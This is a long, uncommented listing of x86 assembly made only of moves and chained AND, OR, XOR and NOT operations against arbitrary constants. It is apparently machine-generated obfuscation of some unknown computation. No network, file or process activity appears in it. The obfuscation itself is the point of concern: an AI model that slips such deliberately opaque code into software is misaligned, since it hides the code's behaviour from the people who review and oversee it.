mov dword [esp + 0xc], ecx
and eax, 0x61674957
mov esi, edi
mov edx, edi
mov dword [esp + 4], edi
and esi, 0x9e98b6a8
or esi, eax
mov eax, esi
xor eax, 0xe802400
xor esi, 0x41260042
and eax, 0x2ec16d15
and esi, 0xd13e92ea
or esi, eax
mov edi, esi
xor edi, 0xd13e92ea
mov eax, ecx
and eax, 0x8250b187
mov ecx, edx
and ecx, 0x7daf4e78
or ecx, eax
mov eax, ecx
xor eax, 0x7daf4e78
xor ecx, 0x9104
and ecx, 0x9079724
mov ebp, eax
and ebp, 0xf6f868db
or ebp, ecx
xor ebp, 0xf6f868db
or ebp, eax
mov eax, esi
xor eax, 0x28c00c15
and eax, 0x28dc1e3d
xor esi, 0xbe7e7def
and esi, edi
and edi, 0xd723e1c2
or edi, eax
mov eax, edi
xor eax, 0xd723e1c2
mov ecx, eax
mov dword [esp + 8], eax
xor edi, 0x28dc1e3d
mov dword [esp], edi
mov ebx, edi
or ebx, 0x90bf10fa
mov eax, ebx
and eax, 0x53334ef1
and ecx, 0x2c40a104
or ecx, eax
mov eax, esi
not eax
or ebx, eax
and eax, 0x53334ef1
and esi, 0xacccb10e
or esi, eax
xor esi, ecx
not ebx
or ebx, esi
mov edx, ebp
xor edx, 0x90bf10fa
mov esi, edx
and esi, ebp
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0xf47a4248
and esi, 0xb85bdb7
or esi, eax
mov edi, ebp
not edi
and edx, edi
mov eax, edx
not eax
or ecx, eax
and eax, 0xf47a4248
and edx, 0xb85bdb7
or edx, eax
xor edx, esi
not ecx
or ecx, edx
xor ecx, ebx
mov esi, dword [esp]
mov eax, esi
and eax, 0x3b3e601a
mov edx, dword [esp + 8]
and edx, 0xc4c19fe5
or edx, eax
or esi, edi
and edi, 0x3b3e601a
and ebp, 0xc4c19fe5
or ebp, edi
xor ebp, edx
mov edx, esi
not edx
or edx, ebp
not edx
or edx, ecx
mov dword [esp], edx
mov eax, edx
mov edi, edx
xor edi, 0xa7fe6d44
and edi, edx
mov esi, edx
not esi
mov dword [esp + 0x1c], esi
mov ecx, esi
and ecx, 0x1760d44
and eax, 0xa6886000
or eax, ecx
xor eax, 0xa6886000
or edi, eax
not edi
or edi, esi
mov ebx, edi
mov eax, dword [esp + 0xc]
and eax, 0xfe7c063b
mov edx, dword [esp + 4]
and edx, 0x183f9c4
or edx, eax
mov ecx, edx
xor ecx, 0x182c800
mov eax, edx
xor eax, 0xfe7c063b
mov edi, eax
or edi, 0xa7fe6d44
xor edx, 0x8000
and eax, 0x803933dd
and ecx, 0x7fc6cc22
or ecx, eax
mov eax, edi
and eax, 0xa3d5b9a
and edx, 0x50008021
or edx, eax
mov eax, ecx
xor eax, 0xd000a064
xor ecx, 0x27c75e99
or edi, ecx
and ecx, 0xa3d5b9a
and eax, 0xf5c2a465
or eax, ecx
mov esi, ebx
not esi
xor eax, edx
not edi
or edi, eax
mov edx, edi
not edx
and edi, 0x2e0e4a7f
and edx, 0xd1f1b580
or edx, edi
mov eax, edx
xor eax, 0xe044011
xor edx, 0x80012000
and eax, 0x5ff4d591
and edx, 0xa00b2a6e
or edx, eax
mov eax, esi
or eax, 0x10820605
and eax, 0x128a0615
mov dword [esp + 8], ebx
mov ecx, ebx
and ecx, 0x2d645128
or ecx, eax
mov eax, ebx
or eax, 0x2080010
and eax, 0x128a0615
mov edi, esi
and edi, 0xc011a8c2
or edi, eax
xor edi, ecx
mov dword [esp + 0x14], edi
mov eax, edx
xor eax, 0xa00b2a6e
xor edx, 0x5ff4d591
mov ecx, eax
and ecx, 0x9cbea829
mov edi, edx
and edi, 0x634157d6
or edi, ecx
mov ecx, edx
and ecx, eax
mov ebx, ecx
not ebx
mov ebp, eax
or ebp, ebx
and ebx, 0x9cbea829
and ecx, 0x634157d6
or ecx, ebx
xor ecx, edi
not ebp
or ebp, ecx
mov dword [esp + 0xc], ebp
mov ebp, dword [esp + 8]
mov ecx, ebp
and ecx, 0x5ae8056d
and esi, 0xa517fa92
or esi, ecx
xor ebp, esi
and ebp, esi
mov dword [esp + 8], ebp
mov ecx, edx
and ecx, 0x5ae8056d
and eax, 0xa517fa92
or eax, ecx
xor edx, eax
and edx, eax
mov esi, dword [esp + 0x14]
mov ecx, esi
xor ecx, 0xd093aec7
mov dword [esp + 4], ecx
xor esi, 0x2f6c5138
mov dword [esp + 0x10], esi
mov eax, esi
or eax, 0x2405ba90
and eax, 0x7c25bf90
mov esi, ecx
and esi, 0x2c8006d
or esi, eax
mov eax, ebp
not eax
mov ecx, ebp
xor ecx, 0x1bd1916d
and ecx, eax
and ebp, 0xe42e6e92
or ebp, ecx
mov ecx, esi
xor ecx, 0x83da406f
xor esi, 0x7c25bf90
lea edi, [esi - 0x7fff9d7e]
and edi, 0x928063ee
mov ebx, ecx
and ebx, 0x9510001
or ebx, edi
mov edi, dword [esp + 4]
or edi, 0x9280f3ee
and edi, 0xd2a8f7ee
xor edi, ebp
xor edi, ebx
mov ebx, esi
and ebx, 0x5a000564
and ecx, 0x80fe589b
or ecx, ebx
mov ebx, dword [esp + 8]
or esi, ebx
and ebx, 0x7f01a764
and eax, 0x80fe589b
or eax, ebx
xor eax, ecx
not esi
or esi, eax
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0x92b5597b
and edi, 0x6d4aa684
or edi, eax
xor edi, esi
or ecx, esi
xor edi, 0x6d4aa684
not ecx
or ecx, edi
mov ebx, dword [esp + 0xc]
not ebx
mov dword [esp + 8], ebx
or ebx, 0xa517fa92
mov esi, ebx
not esi
mov edi, edx
not edi
mov eax, esi
xor eax, edi
and eax, esi
and ebx, 0xebee889f
and esi, 0x10000560
or esi, ebx
and edi, 0xebee889f
and edx, 0x14117760
or edx, edi
xor edx, esi
or edx, eax
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0x99899672
mov edi, edx
and edi, 0x6676698d
or edi, eax
mov eax, edi
xor eax, 0x6676698d
xor edi, 0x4a1c1e18
and edi, eax
mov eax, ecx
not eax
mov ebx, ecx
xor ebx, 0xd395886a
and ebx, ecx
or ecx, 0x2c6a7795
mov esi, ecx
and esi, 0x3c70ec77
and eax, 0xc3850008
or eax, esi
mov esi, ebx
not esi
or ecx, esi
and esi, 0x3c70ec77
and ebx, 0xc38f1388
or ebx, esi
xor ebx, eax
not ecx
or ecx, ebx
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0xaa3fa79b
and edi, 0x55c05864
or edi, eax
or ebp, 0xd395886a
or ebx, ebp
and ebp, 0xaa3fa79b
and edx, 0x4405004
or edx, ebp
xor edx, edi
not ebx
or ebx, edx
xor ebx, ecx
mov edx, dword [esp + 0x14]
xor edx, 0x3488ff20
mov edi, dword [esp + 0x10]
and edx, edi
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x86e11b88
and edx, 0x791ee477
or edx, eax
mov esi, edx
mov eax, edi
or eax, 0xe41b51e7
or ecx, eax
and eax, 0x86e11b88
mov edx, dword [esp + 4]
and edx, 0x1904a410
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov edi, dword [esp + 0xc]
mov eax, edi
or eax, 0x1be4ae18
mov edx, eax
and edx, 0xfad641a6
mov esi, dword [esp + 8]
and esi, 0x4091041
or esi, edx
mov edx, edi
xor edx, 0xe41b51e7
and edx, edi
mov ebp, edi
mov edi, edx
not edi
or eax, edi
and edi, 0xfad641a6
and edx, 0x529be59
or edx, edi
xor edx, esi
not eax
or eax, edx
xor eax, ecx
mov edx, dword [esp + 4]
mov ecx, edx
and ecx, 0x260ed5ab
mov esi, dword [esp + 0x10]
and esi, 0xd9f12a54
or esi, ecx
or edx, ebp
and ebp, 0x260ed5ab
mov ecx, dword [esp + 8]
and ecx, 0xd9f12a54
or ecx, ebp
xor ecx, esi
not edx
or edx, ecx
mov esi, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x30362cd1
and eax, 0xcfc9d32e
or eax, ecx
xor eax, esi
xor eax, 0xcfc9d32e
or edx, esi
not edx
or edx, eax
mov ebp, edx
not ebp
mov eax, ebx
not eax
mov ecx, eax
mov dword [esp + 4], eax
mov eax, edx
and eax, 0x70fe787a
xor edx, 0x5ac2efe3
and edx, ebp
and ebp, 0x8f018785
or ebp, eax
mov esi, ebx
or esi, 0x5ac2efe3
mov eax, esi
and eax, 0x26e525ef
and ecx, 0x81181010
or ecx, eax
mov eax, ebx
xor eax, 0xa53d101c
and eax, ebx
mov edi, eax
not edi
or esi, edi
and edi, 0x26e525ef
and eax, 0xd91ada10
or eax, edi
xor eax, ecx
not esi
or esi, eax
mov ecx, ebp
xor ecx, 0x70fe787a
mov dword [esp + 8], ecx
or ecx, 0x5ac2efe3
mov edi, ebp
xor ebp, 0x4000004
mov eax, ecx
and eax, 0xe3f37542
and ebp, 0x40c001c
or ebp, eax
mov eax, edx
not eax
or ecx, eax
and eax, 0xe3f37542
and edx, 0x1c0c8abd
or edx, eax
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
xor edx, ecx
not edx
and edx, esi
xor edx, ecx
mov eax, ebx
and eax, 0x52288f0e
mov ecx, dword [esp + 4]
and ecx, 0xadd770f1
or ecx, eax
xor edi, 0x8d010081
mov eax, dword [esp + 8]
or ebx, eax
and eax, 0x52288f0e
and edi, 0xadd770f1
or edi, eax
xor edi, ecx
not ebx
or ebx, edi
not ebx
or ebx, edx
mov ecx, ebx
not ecx
mov eax, ecx
and eax, ebx
mov edx, ebx
mov esi, ecx
and esi, 0xa4d91994
mov edi, ebx
and ebx, 0x5b26e66b
or ebx, esi
and edx, 0x181e2671
xor ebx, 0xfcd88b2e
or ebx, ecx
mov esi, ecx
and esi, 0xe7e1d98e
or esi, edx
mov ecx, eax
not ecx
or edi, ecx
and ecx, 0x181e2671
and eax, 0xe7e1d98e
or eax, ecx
mov ebp, dword [esp]
mov ecx, ebp
xor eax, esi
not edi
or edi, eax
mov eax, edi
not eax
and edi, 0xb59f3aba
mov edx, eax
and edx, 0x4a60c545
or edx, edi
xor edx, 0xed9ea800
and eax, 0x580192ba
or eax, edx
mov edi, eax
not edi
mov esi, edi
xor esi, ebx
and esi, edi
and eax, 0xd3dcb8a2
and edi, 0x2c23475d
or edi, eax
mov eax, ebp
mov edx, ebp
xor edx, 1
and edx, ebp
xor edi, ebx
xor edi, 0x2c23475d
or edi, esi
mov ebx, dword [esp + 0x1c]
mov esi, ebx
and esi, 0xfc5814c7
and ecx, 0x3a7eb38
or ecx, esi
xor ecx, 0x3a7eb39
xor ebx, ecx
and ebx, ecx
or eax, 0xfffffffe
mov ecx, eax
not ecx
mov esi, edx
not esi
or eax, esi
and esi, 0x977f9314
and edx, 0x68806ceb
or edx, esi
or ecx, 0x977f9314
xor ecx, edx
not eax
or eax, ecx
mov esi, ebx
not esi
mov ecx, eax
not ecx
mov edx, esi
or edx, ecx
and esi, 0xf70c5cd9
and ebx, 0x8f3a326
or ebx, esi
and ecx, 0xf70c5cd9
and eax, 0x8f3a326
or eax, ecx
xor eax, ebx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0xe5bd1ab0
and eax, 0x1a42e54f
or eax, esi
xor eax, edx
xor eax, 0x1a42e54f
or ecx, edx
not ecx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x27004936
mov esi, ecx
and esi, 0x84880c1
or esi, eax
xor esi, 0x84880c1
mov ebx, edx
and ebx, 0xd0b73608
or ebx, esi
mov eax, ebx
not eax
and ebx, 0x590df130
mov esi, eax
and esi, 0xa6f20ecf
or esi, ebx
xor esi, 0x8a475006
and eax, 0xd34aa136
or eax, esi
or edx, 0x2c244ec9
and ecx, 0x93480034
and edx, 0x6c26efcb
or edx, ecx
mov esi, edx
xor esi, 0x6c26efcb
xor edx, 0x93001024
and edx, 0x9b0611ac
mov ebx, esi
and ebx, 0x4048a012
or ebx, edx
mov ecx, ebx
xor ecx, 0x64f9ee53
xor ebx, 0x65693ac2
and ebx, ecx
and esi, 0x1008010
or esi, ebx
not ebx
and ebx, 0x805c0489
and esi, 0x7f23b376
or esi, ebx
xor esi, eax
xor esi, 0x81ccd818
or ecx, eax
not ecx
or ecx, esi
mov eax, ecx
not eax
mov edx, eax
or edx, 0x43480124
mov esi, ecx
or esi, 0xa44e41
and esi, 0x43ec4f65
and eax, 0x9002a012
or eax, esi
and edx, 0x43ec4f65
and ecx, 0x2c111088
or ecx, edx
xor ecx, eax
mov eax, ecx
not eax
mov esi, eax
and esi, 0xbcc5f321
mov edx, ecx
and edx, 0x433a0cde
or edx, esi
mov esi, edx
xor esi, 0xbcc5f321
xor edx, 0x433a0cde
and eax, edx
and esi, ecx
or esi, eax
xor edx, esi
and edx, esi
mov ecx, edx
mov ebx, edi
not ebx
mov eax, edi
and eax, 0xe00f12de
mov edx, ebx
and edx, 0x1ff0ed21
or edx, eax
mov eax, ecx
not eax
mov ebp, ecx
xor ebp, 0xab4057ca
and ebp, ecx
mov esi, ecx
mov ecx, eax
and ecx, 0x5c4a880f
and esi, 0xa3b577f0
or esi, ecx
mov ecx, edx
xor ecx, 0xe00f12de
mov dword [esp], ecx
xor esi, 0x8126df3c
or esi, eax
mov dword [esp + 0xc], esi
mov esi, eax
or esi, ebp
not ebp
and ebp, 0x54bfa835
and esi, 0xab4057ca
or esi, ebp
xor edx, 0x1ff0ed21
mov dword [esp + 4], edx
mov eax, ecx
and eax, 0xbbe9638b
mov ebp, edx
and ebp, 0x44169c74
or ebp, eax
xor ebp, 0x668534b8
and edx, 0xdd6c5733
or edx, ebp
mov dword [esp + 0x10], edx
and edi, 0xb57bce0e
mov eax, ebx
and eax, 0x4a8431f1
or eax, edi
xor eax, 0x97e866c2
and ebx, 0x2293a8cc
or ebx, eax
mov edx, esi
not edx
mov dword [esp + 8], edx
or edx, 0x10081722
mov edi, esi
and edi, 0x20028888
and edx, 0x12993766
or edx, edi
mov edi, ebx
not edi
mov ebp, ebx
and ebp, 0x505b8f24
xor ebx, 0xf74ba0d0
and ebx, edi
and edi, 0xafa470db
or edi, ebp
mov eax, edi
xor eax, 0x100f24
or eax, 0xf74ba0d0
mov ebp, edi
xor edi, 0x4003
mov ecx, eax
and ecx, 0x68ee9d68
and edi, 0x104207
or edi, ecx
mov ecx, ebx
not ecx
or eax, ecx
and ecx, 0x68ee9d68
and ebx, 0x97116297
or ebx, ecx
xor ebx, edi
not eax
or eax, ebx
xor ebp, 0xafa470db
mov ecx, dword [esp + 0x10]
xor eax, ecx
or ebp, ecx
xor eax, 0xf74ba0d0
not ebp
or ebp, eax
mov edi, edx
xor edi, 0x12993766
xor edx, 0xec020081
mov ecx, edi
mov eax, dword [esp + 0xc]
xor ecx, eax
and ecx, edi
and edx, 0xfe9310c5
and edi, 0xa808
or edi, edx
xor edi, eax
mov ebx, ecx
not ebx
mov eax, ebx
and eax, 0x7c905280
and ecx, 0x203a84c
or ecx, eax
mov eax, edi
xor eax, 0x16cef3a
xor edi, 0xfe9310c5
or ebx, edi
and edi, 0x7c905280
and eax, 0x836fad7f
or eax, edi
xor eax, ecx
not ebx
or ebx, eax
mov eax, ebp
not eax
mov edx, ebx
not edx
mov ecx, edx
xor ecx, eax
and ecx, ebx
and edx, 0xb4b1e777
and ebx, 0x4b4e1888
or ebx, edx
xor ebx, eax
xor ebx, 0x4b4e1888
and ebx, ebp
mov eax, ecx
not eax
mov edx, eax
and edx, 0x5ed13b4f
and ecx, 0xa12ec4b0
or ecx, edx
mov edx, ebx
not edx
or eax, edx
and edx, 0x5ed13b4f
and ebx, 0xa12ec4b0
or ebx, edx
xor ebx, ecx
not eax
or eax, ebx
mov ecx, dword [esp + 4]
mov edx, ecx
mov ebx, dword [esp + 8]
or edx, ebx
and ecx, 0xb65ca12c
mov edi, ecx
mov ecx, dword [esp]
and ecx, 0x49a35ed3
or ecx, edi
and ebx, 0xb65ca12c
and esi, 0x49a35ed3
or esi, ebx
xor esi, ecx
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0xb48b6923
and esi, 0x4b7496dc
or esi, edi
xor esi, edx
xor esi, 0x4b7496dc
or ecx, edx
not ecx
or ecx, esi
mov edx, ecx
not edx
mov esi, edx
or esi, 0x1022848c
mov edi, ecx
or edi, 0xb054102
and edi, 0x1b27c58e
and edx, 0xa0402220
or edx, edi
and esi, 0x1b27c58e
and ecx, 0x44981851
or ecx, esi
xor ecx, edx
mov edx, ecx
xor edx, 0x39c4043
xor ecx, 0xb062a6ac
mov esi, ecx
and esi, 0xdc239d14
and edx, 0x23dc62eb
or edx, esi
xor edx, 0xdc239d14
xor ecx, edx
and ecx, edx
mov esi, eax
not esi
mov edx, ecx
not edx
mov edi, eax
xor edi, 0x7a278374
and edi, esi
mov ebx, eax
and ebx, 0x85d87c8b
or ebx, edi
mov ebp, edx
and ebp, 0x7a278374
mov edi, ecx
xor edi, 0x7a278374
and edi, ecx
or edi, ebp
xor edi, ebx
mov ebx, eax
and ebx, 0xfa52ab30
and esi, 0x5ad54cf
or esi, ebx
or eax, ecx
and ecx, 0xfa52ab30
and edx, 0x5ad54cf
or edx, ecx
xor edx, esi
not eax
or eax, edx
not eax
or eax, edi
mov edx, eax
not edx
mov esi, eax
xor esi, 0xec4e97ae
and esi, eax
mov ecx, eax
or ecx, 0x13b16851
mov edi, esi
not edi
mov ebx, ecx
and ebx, 0x733be051
mov ebp, edx
and ebp, 0x8c4417ae
or ebp, ebx
or ecx, edi
and edi, 0x733be051
and esi, 0x8cc41fae
or esi, edi
xor esi, ebp
not ecx
or ecx, esi
mov esi, ecx
xor esi, 0x13104040
xor ecx, 0xe802930e
and ecx, 0xe8a3bb1f
and esi, 0x175c44e0
or esi, ecx
mov ecx, esi
xor ecx, 0x134000e0
xor esi, 0x4082a80b
and esi, 0x449eec0b
and ecx, 0xbb6113f4
or ecx, esi
mov edi, ecx
xor edi, 0x449eec0b
mov ebx, ecx
xor ebx, 0xbb6113f4
mov ebp, eax
and ebp, 0x429e8e9a
mov esi, edx
and esi, 0xbd617165
or esi, ebp
xor esi, 0xbd617165
or esi, edx
or ebx, edi
xor ecx, 0x36c4c243
and ecx, ebx
mov ebx, esi
xor ebx, 0x725a2e48
mov ebp, esi
not ebp
and ebp, esi
xor ebp, ebx
xor ebp, ecx
or esi, edi
not esi
or esi, ebp
mov edi, esi
not edi
mov ecx, edi
and ecx, 0x26a41800
and esi, 0x5002c388
or esi, ecx
xor esi, 0x5002c388
and edi, 0x89592477
or edi, esi
mov ecx, edi
not ecx
and ecx, 0x85dd1170
and edi, 0x7a22ee8f
or edi, ecx
mov ecx, edi
xor ecx, 0x4500100
xor edi, 0x7a22ee8f
mov esi, edi
and esi, 0x92000051
and ecx, 0x4504d08
or ecx, esi
xor ecx, 0x4504d08
and edi, 0x69afb2a6
or edi, ecx
mov ebp, edi
mov dword [esp], edi
mov ecx, edx
and ecx, 0x440f1358
mov ebx, eax
and ebx, 0xbbf0eca7
or ebx, ecx
mov ecx, ebx
xor ecx, 0xa3a028a7
xor ebx, 0x440f1358
mov edi, edx
and edi, eax
mov esi, ebx
and esi, 0x5c54c650
and ecx, 0xa3ab39af
or ecx, esi
mov esi, edi
not esi
or ebx, esi
and esi, 0x5c54c650
and edi, 0xa3ab39af
or edi, esi
mov esi, ebp
not esi
xor edi, ecx
not ebx
or ebx, edi
mov ecx, ebx
not ecx
and edx, 0xd4b44188
and eax, 0x2b4bbe77
or eax, edx
mov edx, eax
xor edx, 0x3482075
xor eax, 0xd4b44188
mov edi, ebx
and edi, 0xe8079f0a
and ecx, 0x17f860f5
or ecx, edi
or ebx, eax
and eax, 0xe8079f0a
and edx, 0x17f860f5
or edx, eax
xor edx, ecx
not ebx
or ebx, edx
mov ebp, ebx
not ebp
mov eax, esi
and eax, 0x10251832
mov edx, dword [esp]
mov ecx, edx
and ecx, 0x80a0008
or ecx, eax
mov eax, ecx
xor eax, 0x80008
xor ecx, 0x82b17590
mov edi, esi
or edi, 0x8231010
and ecx, 0x8ab37590
and eax, 0x100c082a
or eax, ecx
and edi, 0x8ab37590
mov ecx, edx
and ecx, 0x65408245
or ecx, edi
xor ecx, eax
mov edi, ecx
mov eax, ebx
and eax, 0xa418e466
mov ecx, ebp
and ecx, 0x5be71b99
or ecx, eax
mov eax, ecx
xor eax, 0x59c01398
xor ecx, 0xa410e062
and ecx, 0xa637e863
and eax, 0x59c8179c
or eax, ecx
mov dword [esp + 8], eax
mov dword [esp + 0x10], edi
mov ecx, edi
xor ecx, 0xe7d0e7c5
mov dword [esp + 0x14], ecx
mov eax, edi
xor eax, 0x182f183a
mov dword [esp + 0xc], eax
or eax, 0x104bc912
and ecx, 0x80001021
and eax, 0x356fe9d2
or eax, ecx
and esi, 0x5a930d14
and edx, 0x48c20a
or edx, esi
mov esi, dword [esp + 8]
mov ecx, esi
xor ecx, 0x2425c823
xor esi, 0x59c8179c
and ecx, 0x3dadcbbb
mov edi, esi
mov dword [esp + 4], esi
and edi, 0xc2523444
or edi, ecx
xor edi, 0x677604a5
and esi, 0x5adbcf1e
or esi, edi
mov ecx, ebx
and ecx, 0xa52430e1
and ebp, 0x5adbcf1e
or ebp, ecx
xor ebx, ebp
and ebx, ebp
mov ecx, eax
xor ecx, 0x356fe9d2
xor edx, 0x5a930d14
xor eax, 0x80001021
and eax, ecx
or edx, ecx
or edx, eax
mov dword [esp], edx
mov eax, esi
not eax
mov ecx, esi
and ecx, 0xf43bca87
xor esi, 0x31700482
and esi, eax
and eax, 0xbc43578
or eax, ecx
mov ecx, eax
xor ecx, 0xbc43578
mov edx, eax
xor edx, 0x3ab431fa
and edx, ecx
or esi, edx
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0xce8ffb7d
mov edx, ebx
xor edx, 0xce8ffb7d
and edx, ebx
or edx, ebp
xor edx, esi
xor eax, 0xf43bca87
mov esi, eax
and esi, 0x2feaa367
and ecx, 0xd0155c98
or ecx, esi
or eax, ebx
and ebx, 0x2feaa367
and edi, 0xd0155c98
or edi, ebx
xor edi, ecx
not eax
or eax, edi
mov edi, edx
not edi
mov ecx, edi
and ecx, 0x9dceab84
and edx, 0x6231547b
or edx, ecx
mov ecx, eax
not ecx
or edi, eax
and eax, 0x9dceab84
and ecx, 0x6231547b
or ecx, eax
xor ecx, edx
not edi
or edi, ecx
mov eax, dword [esp]
mov edx, eax
xor edx, 0x9b455512
and edx, eax
mov ecx, eax
or eax, 0x64baaaed
not ecx
mov esi, eax
and esi, 0xd2c1cf32
and ecx, 0x9041000
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0xd2c1cf32
and edx, 0x2d3e30cd
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, edi
not ecx
mov edx, edi
or edx, 0x48008e1
and edx, 0x94c54de3
mov esi, ecx
and ecx, 0xb001010
or ecx, edx
or esi, 0x90454502
and esi, 0x94c54de3
and edi, 0x603aa20c
or edi, esi
xor edi, ecx
mov ecx, edi
xor ecx, edi
not ecx
and ecx, eax
mov ebx, dword [esp + 0x10]
xor ebx, 0x4d36a61a
mov esi, dword [esp + 0x14]
and ebx, esi
xor ecx, edi
mov ebp, dword [esp + 8]
mov edx, ebp
xor edx, 0xcd1a9bc
and edx, dword [esp + 4]
mov eax, dword [esp + 0xc]
and eax, 0xc7c4a7be
and esi, 0x383b5841
or esi, eax
mov eax, esi
xor eax, 0x383b5841
xor esi, 0x6d22e661
and esi, eax
or ebx, esi
mov esi, edx
not esi
mov edi, esi
and edi, 0x9c0238b4
and edx, 0x63fdc74b
or edx, edi
mov edi, dword [esp + 4]
or eax, edi
or edi, 0xaae641df
xor ebp, 0x118000
or esi, edi
and edi, 0x9c0238b4
and ebp, 0x41198600
or ebp, edi
mov edi, ebp
xor edi, edx
not esi
or esi, edi
mov edx, esi
xor edx, esi
not edx
and edx, ebx
xor edx, esi
not eax
or eax, edx
mov edx, eax
not edx
and eax, 0x87ce18d3
and edx, 0x7831e72c
or edx, eax
mov eax, edx
xor eax, 0x10300020
xor edx, 0x83060050
and edx, 0xeb07e75c
and eax, 0x14f818a3
or eax, edx
mov edx, eax
xor edx, 0x14f818a3
xor eax, 0xe9016440
mov esi, ecx
not esi
and eax, 0xed616441
mov edi, edx
and edi, 0x129e9bbe
or edi, eax
mov eax, edi
xor eax, 0x129e9bbe
mov ebx, ecx
xor ebx, 0x15929dd1
and ebx, esi
and ecx, 0xea6d622e
or ecx, ebx
xor edi, 0xf8f3f990
and edi, eax
and edx, 0xea6d622e
or edx, edi
mov edi, edx
xor edi, edx
not edi
and edi, ecx
xor edi, edx
or eax, esi
mov edx, edi
not edx
mov ecx, edx
and ecx, 0x21017437
and edi, 0xdefe8bc8
or edi, ecx
xor edi, eax
xor edi, 0xdefe8bc8
or edx, eax
not edx
or edx, edi
mov eax, edx
not eax
mov ecx, edx
and ecx, 0xd0f40000
mov esi, eax
and esi, 0xb006929
or esi, ecx
mov ecx, esi
xor ecx, 0x9006108
or ecx, 0x4038244
xor esi, 0x10540000
and esi, 0x12540821
and ecx, 0xcda3e34c
or ecx, esi
mov esi, ecx
xor esi, 0xcda3e34c
and edx, 0xe264ae2a
mov edi, eax
and edi, 0x1d9b51d5
or edi, edx
xor edi, 0x3990c703
and eax, 0xdbf46929
or eax, edi
mov edi, eax
not edi
mov ebp, ecx
xor ebp, 0x325c1cb3
mov edx, eax
and edx, 0x1de99a38
mov ebx, edi
and ebx, 0xe21665c7
or ebx, edx
mov edx, ebx
xor edx, 0xe21665c7
xor ebx, 0x36298159
and ebx, edx
or edx, ebp
and ebp, 0x2bc01b61
xor ecx, 0xc2606829
and ecx, esi
or ecx, ebp
or eax, 0x2bc01b61
mov esi, ebx
not esi
mov ebp, esi
and ebp, 0x998e3551
and ebx, 0x6671caae
or ebx, ebp
or esi, eax
and eax, 0x998e3551
and edi, 0x4431c08e
or edi, eax
xor edi, ebx
not esi
or esi, edi
mov eax, esi
xor eax, esi
not eax
and eax, ecx
xor eax, esi
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, edx
or ecx, 0x4a642828
mov esi, eax
or esi, 0x4089644
and ecx, 0x4e6cbe6c
and eax, 0x20030092
or eax, ecx
and esi, 0x4e6cbe6c
and edx, 0x91904101
or edx, esi
xor edx, eax
mov eax, edx
not eax
mov esi, eax
and esi, 0xaebc3efd
mov ecx, edx
xor ecx, 0xaebc3efd
and ecx, edx
or ecx, esi
mov esi, ecx
xor esi, 0x5143c102
xor ecx, 0xaebc3efd
mov edi, ecx
or edi, 0xb901990
mov ebx, esi
and ebx, 0x30068000
and edi, 0xfb91d9b
or edi, ebx
mov ebx, edi
xor ebx, 0xfb91d9b
xor edi, 0xf046e264
and edx, 0x562ed023
mov ebp, eax
and ebp, 0xa9d12fdc
or ebp, edx
xor ebp, 0x62015428
and eax, 0x342f840b
or eax, ebp
mov edx, eax
not edx
and edx, edi
or edi, eax
not edi
and eax, ebx
or eax, edx
or eax, edi
mov edx, eax
not edx
mov edi, edx
and edi, 0x260409
mov ebx, eax
and ebx, 0x34098002
or ebx, edi
mov edi, ebx
xor edi, 0x30080002
xor ebx, 0x48341714
or edx, 0x4258400
and ebx, 0x4c359714
and edi, 0x300a000b
or edi, ebx
and edx, 0x4c359714
and eax, 0x83c068e0
or eax, edx
xor eax, edi
mov edx, ecx
and edx, 0x3b5a71d7
mov edi, esi
and edi, 0xc4a58e28
or edi, edx
mov edx, edi
xor edx, 0xc4a08c08
xor edi, 0x3b5a71d7
mov ebx, ecx
and ebx, 0x125513f2
and esi, 0xedaaec0d
or esi, ebx
or ecx, edi
and edi, 0x125513f2
and edx, 0xedaaec0d
or edx, edi
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x48af0b49
and edx, 0xb750f4b6
or edx, ecx
mov esi, edx
xor esi, 0x3140d414
xor edx, 0x48250808
and edx, 0xce3528aa
and esi, 0x31cad755
or esi, edx
mov ecx, esi
xor ecx, 0x1820711
xor esi, 0xce3528aa
mov edx, eax
xor edx, esi
and edx, eax
and esi, 0x7268d0c6
and ecx, 0x8d972f39
or ecx, esi
xor ecx, eax
mov esi, ecx
xor esi, 0x68c002
mov eax, edx
not eax
xor ecx, 0x8d972f39
mov edi, eax
and edi, 0xff1711ed
and edx, 0xe8ee12
or edx, edi
or eax, ecx
and ecx, 0xff1711ed
and esi, 0xe8ee12
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov edx, eax
not edx
mov ecx, edx
and ecx, eax
mov esi, ecx
not esi
mov ebx, eax
and ebx, 0x2c24cd9
mov edi, eax
mov ebp, edx
and ebp, 0x4fc58370
and eax, 0xb03a7c8f
or eax, ebp
xor eax, 0xdcc98db6
or eax, edx
and edx, 0xfd3db326
or edx, ebx
or edi, esi
and esi, 0x2c24cd9
and ecx, 0xfd3db326
or ecx, esi
xor ecx, edx
not edi
or edi, ecx
mov esi, edi
not esi
and edi, 0x3e59bfd4
mov ecx, esi
and ecx, 0xc1a6402b
or ecx, edi
xor ecx, 0xad55b112
and esi, 0x930c0ec6
or esi, ecx
mov edx, esi
not edx
mov ecx, eax
not ecx
mov edi, esi
and edi, 0x4a37f1d0
xor esi, 0x95012edf
and esi, edx
and edx, 0xb5c80e2f
or edx, edi
mov edi, edx
xor edi, 0xb5c80e2f
and eax, 0x3fd25c28
mov ebx, ecx
and ebx, 0xc02da3d7
or ebx, eax
mov eax, ebx
xor eax, 0xc02da3d7
mov ebp, edi
and ebp, 0x6afed120
or esi, ebp
mov ebp, ebx
xor ebp, 0x552c8d08
and ebp, eax
and ecx, 0x95012edf
or ecx, ebp
xor edx, 0x4a37f1d0
xor ecx, esi
mov esi, edx
and esi, 0xcf32169d
and edi, 0x30cde962
or edi, esi
xor ebx, 0x3fd25c28
or edx, ebx
